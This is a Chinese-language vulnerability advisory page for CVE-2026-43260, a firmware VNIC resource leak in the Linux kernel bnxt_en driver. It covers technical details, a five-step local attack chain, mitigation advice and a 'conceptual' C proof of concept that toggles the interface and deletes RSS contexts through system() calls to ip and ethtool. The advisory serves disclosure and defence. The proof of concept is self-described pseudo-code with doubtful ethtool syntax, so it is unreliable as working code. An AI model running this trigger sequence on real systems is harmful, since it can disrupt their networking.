IPBUF安全漏洞报告
English
CVE-2026-43260 CVSS 7.8 高危

CVE-2026-43260 Linux内核bnxt_en驱动资源泄漏漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43260
漏洞类型
资源泄漏
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel资源泄漏DoS本地漏洞驱动程序

漏洞概述

Linux内核中的bnxt_en驱动程序在处理RSS上下文删除操作时存在逻辑缺陷。该漏洞由于引入了netif_running()检查,导致只有在接口处于运行状态时才会删除固件中的VNIC资源。当接口关闭时删除RSS上下文,会导致固件端发生VNIC资源泄漏。在后续接口重新开启并尝试恢复RSS上下文时,由于未预留足够的资源,固件将拒绝创建请求,从而导致活跃的RSS上下文丢失。这可能导致网络功能异常、性能下降或本地拒绝服务攻击,影响系统的可用性、完整性和机密性。

技术细节

该漏洞主要影响Linux内核的Broadcom NetXtreme-C/E网络驱动(bnxt_en)。其核心问题在于RSS上下文删除逻辑中对netif_running()的依赖。正常情况下,删除RSS上下文应同步释放固件(FW)中的对应VNIC资源。然而,提交667ac333dbb7引入的检查机制使得当网络接口处于关闭状态(netif_running()为false)时,驱动程序跳过固件VNIC的删除操作。这种设计导致了严重的资源泄漏:当用户关闭接口时,活跃的RSS上下文对应的VNIC未被释放。在随后的接口开启过程中,驱动尝试恢复这些上下文并重新创建VNIC,但由于固件中旧的资源仍被占用且未做新预留,创建请求失败。最终结果是驱动失去了活跃的RSS上下文,破坏了网络数据分发的正常功能。尽管HWRM函数本身能处理重复删除请求,但netif_running()的限制阻碍了必要的清理工作。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得本地低权限用户访问权限(PR:L),以执行网络接口配置操作。
STEP 2
步骤2:配置网络接口
攻击者针对使用bnxt_en驱动的网络接口创建并配置RSS上下文,占用固件中的VNIC资源。
STEP 3
步骤3:关闭网络接口
攻击者执行关闭网络接口的操作(如ip link set down),此时驱动程序中存在活跃的RSS上下文。
STEP 4
步骤4:触发删除逻辑
在接口关闭状态下尝试删除RSS上下文。由于漏洞代码中的netif_running()检查,固件端的VNIC资源未被释放,导致资源泄漏。
STEP 5
步骤5:重启接口导致故障
攻击者重新打开网络接口。驱动尝试恢复RSS上下文并向固件申请新VNIC,因资源未被预留导致请求失败,系统失去网络分发能力。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for CVE-2026-43260 // This requires a system with a bnxt_en network interface. #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> // Pseudo-code representation of the trigger logic void trigger_vulnerability() { // Step 1: Bring the interface UP system("ip link set eth0 up"); // Step 2: Create RSS contexts (Simulated via ethtool or driver ioctl) // This allocates VNICs in Firmware system("ethtool -X eth0 hkey <some_hash_key>"); // Step 3: Bring the interface DOWN // This triggers the path where if RSS contexts are deleted, // the netif_running() check prevents FW cleanup if deletion happens now. // However, the driver might hold contexts. system("ip link set eth0 down"); // Step 4: Delete RSS contexts while interface is DOWN // Due to the bug, the FW VNICs associated with these contexts might leak // or subsequent restoration will fail. system("ethtool -X eth0 delete <context_id>"); // Step 5: Bring the interface UP again // The driver attempts to restore RSS contexts. // It tries to create VNICs without reservation, potentially failing. system("ip link set eth0 up"); printf("Vulnerability trigger sequence executed.\n"); printf("Check dmesg for firmware failures or RSS context loss.\n"); }

影响范围

Linux Kernel (bnxt_en driver versions prior to commits fixing RSS context delete logic)

防御指南

临时缓解措施
在应用官方补丁之前,可以通过严格限制对网络接口管理命令的访问来缓解风险,避免未授权用户频繁切换接口状态。同时,管理员应监控系统日志中关于固件请求失败或RSS上下文丢失的错误信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表